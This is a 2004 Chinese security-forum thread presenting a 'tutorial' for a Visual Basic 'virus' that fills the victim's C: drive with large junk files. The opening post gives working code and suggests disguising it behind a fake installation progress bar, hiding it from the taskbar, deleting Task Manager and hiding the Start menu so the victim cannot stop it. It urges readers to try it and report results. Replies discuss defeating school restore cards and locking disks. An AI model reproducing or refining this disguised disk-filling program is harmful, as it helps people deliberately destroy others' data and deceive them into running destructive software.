|
 | 作者: jnake [jnake]
 论坛用户 |
登录 |
| Private Sub Form_Load() On Error Resume Next For i= 1 To 100 '(这个100为写入文件的个数，就是向C盘下写100个文件,自己改) Open "c:\20cn" + CStr(i) + ".sys" For Random As 1 '(在C盘下产生文件 类似 "20cnx.sys" x为数字) DoEvents Put #1, 30000, "20cn.net" '这里的这个30000是控制生成文件大小的。 '30000产生的文件大小是3.6M左右 '10000产生的文件大小是1.2M左右 '如果你改为3000000的话，那就是360M，但是写的慢，所以建议50MB就可以了！ Close #1 '关闭打开的文件句柄 Next End Sub 顺便加个进度条，骗他说软件正在安装，请捎后！哈哈！他的硬盘就暴了！ 如果是98下的用户，可以加上 App.TaskVisible=false 这样他在任务栏里看不见！哈哈！ 如果是2000下的，请在代码加上删除X:\winnt\taskmgr.exe的代码，这个比较简单，我就不写出来！ 这样软件在执行的时候不能快速结速掉，保证了病毒的顺利执行！ 当然要把软件上的 口X― 给屏蔽掉，哈哈！顺便把“开始”给隐藏，让他不能很快关机！这个代码网上找，我也不写了！ 大家去实验一下，先用自己的机器，当然，写入的数量和大小自己控制！ 记得汇报战绩啊！  [此贴被 风流才子(jnake) 在 01月09日13时04分 编辑过] |
| 地主 发表时间: 04-01-09 13:02 |
 | 回复: gebishamo [gebishamo]  论坛用户 |
登录 |
 |
| B1层 发表时间: 04-01-09 16:30 |
 | 回复: abctm [abctm]  版主 |
登录 |
|
晕，编的还行 |
| B2层 发表时间: 04-01-09 19:01 |
 | 回复: crs502 [crs502]  论坛用户 |
登录 |
|
for ?? NO!!! 我认为还是 do loop 好用一点~~~~~~~~  |
| B3层 发表时间: 04-01-09 21:20 |
 | 回复: windflower [windflower]  论坛用户 |
登录 |
|
何必如此呢 不如直接加硬盘锁省事。 |
| B4层 发表时间: 04-01-09 21:36 |
 | 回复: kewenyaya [kewenyaya]  论坛用户 |
登录 |
|
有没有更狠一点的呢。。 打开网页。。硬盘就挂... |
| B5层 发表时间: 04-01-10 01:37 |
| 回复: jnake [jnake] 论坛用户 |
登录 |
|
DO...loop和do next 差不多啦 加硬盘锁用VB比较困难，应该用VC。 至于有没有更狠一点的呢。。 打开网页。。硬盘就挂 可能大家都打了IE的补丁，写也没用，网上有，自己去查！ |
| B6层 发表时间: 04-01-10 14:58 |
| 回复: jnake [jnake] 论坛用户 |
登录 |
没人实验吗？我个人觉的不错。HOHO |
| B7层 发表时间: 04-01-11 13:59 |
 | 回复: RC [ranchuan] 版主 |
登录 |
|
以前在学校机房这样子试过。没啥，有还原卡 |
| B8层 发表时间: 04-01-11 16:00 |
| 回复: jnake [jnake] 论坛用户 |
登录 |
|
正在学一点VB底层的编程，直接把硬盘给锁了算了，哈哈！ |
| B9层 发表时间: 04-01-11 19:11 |
 | 回复: hnex [hnex]  论坛用户 |
登录 |
|
现在不是有还原卡吗？逃不过它的。 |
| B10层 发表时间: 04-01-14 01:47 |
 | 回复: chang_1983 [chang_1983]  论坛用户 |
登录 |
|
可以试试啊 |
| B11层 发表时间: 04-01-24 16:22 |
| 回复: jnake [jnake] 论坛用户 |
登录 |
|
把还原卡删了 |
| B12层 发表时间: 04-01-25 15:13 |
 | 回复: t [doscience] 论坛用户 |
登录 |
|
用硬盘杀手 |
| B13层 发表时间: 04-01-27 12:10 |
| 回复: administr [administr] 论坛用户 |
登录 |
详细一点教教我好吗大哥？ |
| B14层 发表时间: 04-01-28 21:16 |
 | 回复: guansheng [guansheng] 论坛用户 |
登录 |
|
把还原卡删了？老大啊，你会网电脑吗？还原卡是硬件还是软件啊？？？你不要笑死人好不啦！ |
| B15层 发表时间: 04-01-30 18:28 |
 | 回复: shanshan [shanshan] 论坛用户 |
登录 |
|
DING |
| B16层 发表时间: 04-01-31 10:41 |
| 回复: huowangsh [huowangsh] 论坛用户 |
登录 |
|
他可能是把还原拉的驱动删了，而不是卡。。 我想他不会那么笨到家的吧，呵呵  |
| B17层 发表时间: 04-01-31 18:03 |
 | 回复: afan271314 [afan271314] 论坛用户 |
登录 |
|
、还原卡的驱动怎么删啊 |
| B18层 发表时间: 04-02-02 13:31 |
 | 回复: acheron [acheron] 论坛用户 |
登录 |
|
这也叫病毒?如果这也叫病毒的话,倒还不如用C写个小程序呢,一直写文件循环死机为止.那不比用VB写的"病毒"实用? |
| B19层 发表时间: 04-02-03 11:00 |
 | 回复: Garu [syshunter] 版主 |
登录 |
|
no,有想法并且付之行动就是好的，应该知道所有的高手都是从i++开始 |
| B20层 发表时间: 04-02-03 14:19 |
 | 回复: sparrow_11 [sparrow_11] 论坛用户 |
登录 |
你也真有道理啊！ |
| B21层 发表时间: 04-02-03 16:40 |
| 回复: netxy [netxy] 论坛用户 |
登录 |
晕，破硬盘保护卡呀 |
| B22层 发表时间: 04-02-07 08:58 |
| 回复: windflower [windflower] 论坛用户 |
登录 |
|
还原卡不是万能的。 懂汇编的很容易穿过它。 disk IO INT 13 中断 向量 |
| B23层 发表时间: 04-02-11 23:55 |
| 回复: neaes [near] 论坛用户 |
登录 |
高手真多啊！！  |
| B24层 发表时间: 04-02-12 13:59 |
| 回复: yygyjjj [yygyjjj] 论坛用户 |
登录 |
|
做这些东东.要用什么来做的呀 |
| B25层 发表时间: 04-02-12 21:52 |
| 回复: xufeng007 [xufeng007] 论坛用户 |
登录 |
|
玩玩啊象这些小玩意还不是用来玩的啊 |
| B26层 发表时间: 04-02-15 16:34 |
 | 回复: cleverbai [cleverbai] 论坛用户 |
登录 |
|
在这里，真感觉到天下之大，高手之多，不过，都是为学习，高手们有时候是不是太牛了点？给小弟们留点机会学习，可以吗？不吝赐教嘛 |
| B27层 发表时间: 04-03-05 22:29 |
| 回复: sniper167 [sniper167] 论坛用户 |
登录 |
|
有没有c版的? |
| B28层 发表时间: 04-03-06 06:55 |
| 回复: xixin1024 [xixin1024] 论坛用户 |
登录 |
|
我晕~~~~~~~~ 我现在才知道世界之大啊 你们都厉害 能教教我吗 我回毕生难忘啊 |
| B29层 发表时间: 04-03-11 11:27 |
| 回复: qiyahan [qiyahan] 论坛用户 |
登录 |
|
顶！！教我详细的啊 |
| B30层 发表时间: 04-03-17 17:30 |
 | 回复: xulin328 [xulin328] 论坛用户 |
登录 |
|
高手 |
| B31层 发表时间: 04-03-17 22:11 |
| 回复: jnake [jnake] 论坛用户 |
登录 |
|
我看了挺多还原卡破解的文章，怎么说呢？都是没什么用！它不是正正意义上的删除还原卡！ 而正的删除最简单的方法是：知道它的密码 哈哈！我的拙见，大家指教啊！ |
| B32层 发表时间: 04-03-20 16:12 |
| 回复: sniper167 [sniper167] 论坛用户 |
登录 |
|
呵呵，风流的帖子就是热 我还得谢谢你呀！ |
| B33层 发表时间: 04-03-20 18:09 |
 | 回复: kailangq [kailangq] 版主 |
登录 |
|
|
| B34层 发表时间: 04-04-02 05:31 |
| 回复: fancyher [fancyher] 论坛用户 |
登录 |
|
GOOD!真厉害啊! |
| B35层 发表时间: 04-09-08 15:24 |
| 回复: fancyher [fancyher] 论坛用户 |
登录 |
|
怎么可以把学校的还原卡破掉啊? 还有,能给硬盘加密吗? |
| B36层 发表时间: 04-09-08 15:27 |
| 回复: ranchuan [ranchuan] 版主 |
登录 |
病毒重要的特征：能自我传播， |
| B37层 发表时间: 04-09-09 05:05 |
 | 回复: mamaboy [mamaboy] 论坛用户 |
登录 |
 |
| B38层 发表时间: 04-09-09 08:27 |
 | 回复: vchuangbo [vchuangbo] 论坛用户 |
登录 |
   |
| B39层 发表时间: 04-09-10 09:45 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon
粤ICP备05087286号
论坛: 原创软件
标题: 教学：VB写的病毒，塞满硬盘的东西！菜鸟一学就会！